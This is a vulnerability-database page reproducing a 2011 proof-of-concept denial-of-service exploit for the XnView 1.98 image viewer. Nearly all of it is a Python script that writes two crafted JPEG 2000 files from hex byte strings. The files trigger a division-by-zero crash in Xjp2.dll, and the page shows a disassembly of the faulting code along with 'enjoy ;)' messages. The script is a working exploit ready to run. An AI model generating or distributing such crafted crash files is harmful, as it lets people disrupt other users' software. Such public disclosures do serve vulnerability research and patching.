Lucene search
K

XnView 1.98 Denial of Service Vulnerability PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

XnView 1.98 Denial of Service Vulnerability PoC found and published by BraniX in 2011. Tested on Windows XP SP3 Home and Professional Edition. Vulnerability caused by integer division by zero in Xjp2.dll module. Can be triggered from local and remote locations

Code

                                                # done by BraniX
# found: 2011.06.19
# published: 2011.06.20
# tested on: Windows XP SP3 Home Edition
# tested on: Windows XP SP3 Professional

# App: XnView 1.98 (latest version)
# App Url: http://www.xnview.com
# xnview.exe    MD5: ebe200d81a095d296e94e887dc40e607
# Xjp2.dll      MD5: 0c831c090f5a723d44bb641b175ca0e6

# DoS is caused by integer division by zero in module Xjp2.dll

# It can be triggered from:
# Local: C:\XnView 1.98 JP2000 (Compression 50%) DoS.jp2
# Remote: \\MySecretServer\XnView 1.98 JP2000 (Compression 50%) DoS.jp2

# 1000D1C4    8A44BA 03       MOV AL,BYTE PTR DS:[EDX+EDI*4+3]
# 1000D1C8    8941 E4         MOV DWORD PTR DS:[ECX-1C],EAX
# 1000D1CB    8B56 0C         MOV EDX,DWORD PTR DS:[ESI+C]
# 1000D1CE    8D4413 FF       LEA EAX,DWORD PTR DS:[EBX+EDX-1]
# 1000D1D2    33D2            XOR EDX,EDX
# 1000D1D4    F7F3            DIV EBX                                  ; div by zero
# 1000D1D6    33D2            XOR EDX,EDX
# 1000D1D8    8BE8            MOV EBP,EAX
# 1000D1DA    8B46 04         MOV EAX,DWORD PTR DS:[ESI+4]
# 1000D1DD    8D4403 FF       LEA EAX,DWORD PTR DS:[EBX+EAX-1]
# 1000D1E1    F7F3            DIV EBX
# 1000D1E3    8B59 E4         MOV EBX,DWORD PTR DS:[ECX-1C]

filepath = "C:\\XnView 1.98 JP2000 (Compression 50%) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x00\x00\x07\x01\x01\x07\x01\x01\xFF\x5C\x00\x17\x42\x60\xC8\x42\x5D\x42\x5D\x42\x6D\x3A\xDB\x3A\xDB\x3B\x35\x32\xB8\x32\xB8\x32\x6B\xFF\x5D\x00\x18\x01\x42\x60\x6D\x41\xF2\x41\xF2\x42\x01\x3A\x6B\x3A\x6B\x3A\xC1\x32\x49\x32\x49\x31\xFF\xFF\x5D\x00\x18\x02\x42\x61\xAA\x43\x69\x43\x69\x43\x7A\x3B\xF3\x3B\xF3\x3C\x56\x33\xCC\x33\xCC\x33\x78\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x00\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x00\xA7\x00\x01\xFF\x93\xC7\xEC\x0C\x08\x8A\xC1\xC5\xD6\x54\xC0\x7D\x40\xA0\x0B\xBF\x3B\x6F\xDF\xC1\xF8\x02\x80\x03\x97\x3D\x32\x8B\xC0\xF8\x42\x87\xCE\x12\x07\xC2\x10\x01\x7F\x0C\x31\x03\x6B\x0B\xE3\xA0\x10\x80\x01\xC0\x74\x18\x1F\x08\x60\x04\x0C\x41\x6F\xC3\xE4\x13\x07\xC2\x34\x1F\x08\x80\x1C\xDD\xFD\x75\xB0\xA9\x74\x39\x3F\x0D\x31\x97\xD9\xD9\x7F\x0C\xAC\xCD\x9F\xC0\xE8\x60\x1F\x92\xE7\xC0\xE8\xB0\x3A\x1C\x04\x40\x1F\x1E\xA0\x20\x67\x12\x9A\x3F\x0C\xA7\xC3\xE1\x2A\x0E\x93\x07\x45\x61\x1C\x5E\xC3\xDD\xAC\x1B\xF5\x5B\xB9\x03\x8A\xAD\xF5\x07\x1F\x86\x1D\x5F\x19\xD8\x05\x13\xA3\xC0\x84\x5F\xC0\x8A\x04\x80\x01\x7F\x03\x9C\x46\xBF\xFF\xD9'
f.write(poc)
f.close()

print "Done, 1st file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"

filepath = "C:\\XnView 1.98 JP2000 (Lossless Compression) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x00\x00\x01\x07\x01\x01\xFF\x5C\x00\x0D\x40\x40\x48\x48\x50\x48\x48\x50\x48\x48\x50\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x01\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x01\xD7\x00\x01\xFF\x93\xC7\xD4\x0A\x0B\xC7\x38\x51\x7F\xC3\xE7\x06\x05\x37\xD2\xC7\xD4\x0A\x03\x99\xA5\x4C\x37\xC1\xF3\x83\x8F\xB4\x16\x0F\xA8\x0C\x02\x3E\x7F\x0C\x36\xBB\x62\x2F\x0B\xCC\x17\xC0\x7C\x21\x40\x7C\x21\xC0\x7C\x80\x80\x04\x3F\x00\x8C\x5F\x08\x4B\xC1\xF3\x83\x87\xD4\x0B\x03\xE7\x06\x03\x86\x7F\x0C\x3F\x54\xA0\x7F\x08\xC3\x3F\xC7\xDA\x19\x0F\xA8\x26\x1F\x68\x50\x1D\x1C\x3D\xBB\xD4\xFC\x81\x39\x8F\xA6\x70\x69\x0D\x31\x7D\x53\xE7\xDB\x76\x1B\xBF\x0C\xAC\x1B\x93\x78\xD2\xF9\xD4\xA4\x4F\xC1\xF3\x8A\x81\xF2\x07\x80\xF9\x03\x80\x1C\x55\x34\xA2\x49\xD7\xFB\x27\x22\x0F\x01\xA7\xB1\x0A\x1F\x87\x4F\x04\x72\xC3\xEE\xE0\x5C\x7F\xC1\xF3\x8C\x87\xD4\x13\x07\xD4\x10\x11\x7B\xFC\x98\xB8\x1F\x71\x08\x68\xBE\x09\x3F\x0B\x4F\x2B\x89\x58\x56\x5E\xD9\xF3\x0C\xAC\x7A\x0E\x4B\x8C\xDA\x19\xC3\xEA\x1D\x87\xD4\x3D\x07\xD4\x30\x4F\x4D\xF3\xDD\x3B\x9E\x30\xC2\x67\xC8\xBE\x80\x42\x86\xA2\x9D\x6E\x6C\x29\x29\x2B\xDD\xF5\x71\x5E\xD4\x7D\xE4\x5F\x03\x8A\xAE\x0D\x74\xDA\xBA\xD1\x3F\xD2\x58\x2F\x8D\x45\x36\x7B\xF4\x45\xC1\x95\x14\xDB\x5D\x6E\x1C\x49\xC8\xC2\x72\xDF\x1E\xE9\x2F\x2C\xBC\xC7\xAA\x56\x9E\xA9\x73\xFD\xA7\xEB\xEB\x43\x78\x20\x08\x39\xEE\x07\xCE\x2B\xC1\xF3\x99\x83\xE7\x33\x03\xE7\x2E\x5F\xEC\x62\x95\x14\x7C\xE1\xB1\x36\x06\xEE\x8D\x1B\xB8\xD9\xFC\x4C\x12\x2D\x5F\xA2\xA1\x7C\x80\xFD\x3D\x57\x59\xB9\x1B\xCD\x48\x78\xB4\xC6\x7F\xC3\x73\x32\x8F\x6E\x38\x51\x45\xCD\xC7\xDA\xED\x54\x5B\x09\xC2\xC1\x85\xF6\x0B\x9C\xEF\x38\x79\x10\x72\x31\x80\x43\x0D\x75\x99\x95\x9C\xE6\x44\x7F\xC1\xF3\x9E\x87\xD4\x3D\x03\xE7\x2E\x11\x88\x13\x57\x4E\x51\x31\x2D\xBF\x76\xEC\x3E\x42\x3C\xF9\xA6\x5D\x7D\x96\x05\xF0\xA9\xA0\x9E\x69\x4C\xBF\x71\xA3\xBF\x03\x89\x78\x67\x57\xF0\xBB\xD2\x32\x12\x88\x9C\xD3\x41\xF6\x81\xED\x3E\x2E\x35\x62\xF1\x69\xDA\xC2\x71\x0F\xAB\x14\x1B\x16\x55\xAC\x51\x83\x1E\x48\x2E\x20\xC8\x39\x1A\x46\x12\xE1\x62\x07\x88\x8C\x43\x20\x1A\x1B\xFF\xD9'
f.write(poc)
f.close()

print "Done, 2nd file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"
    

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation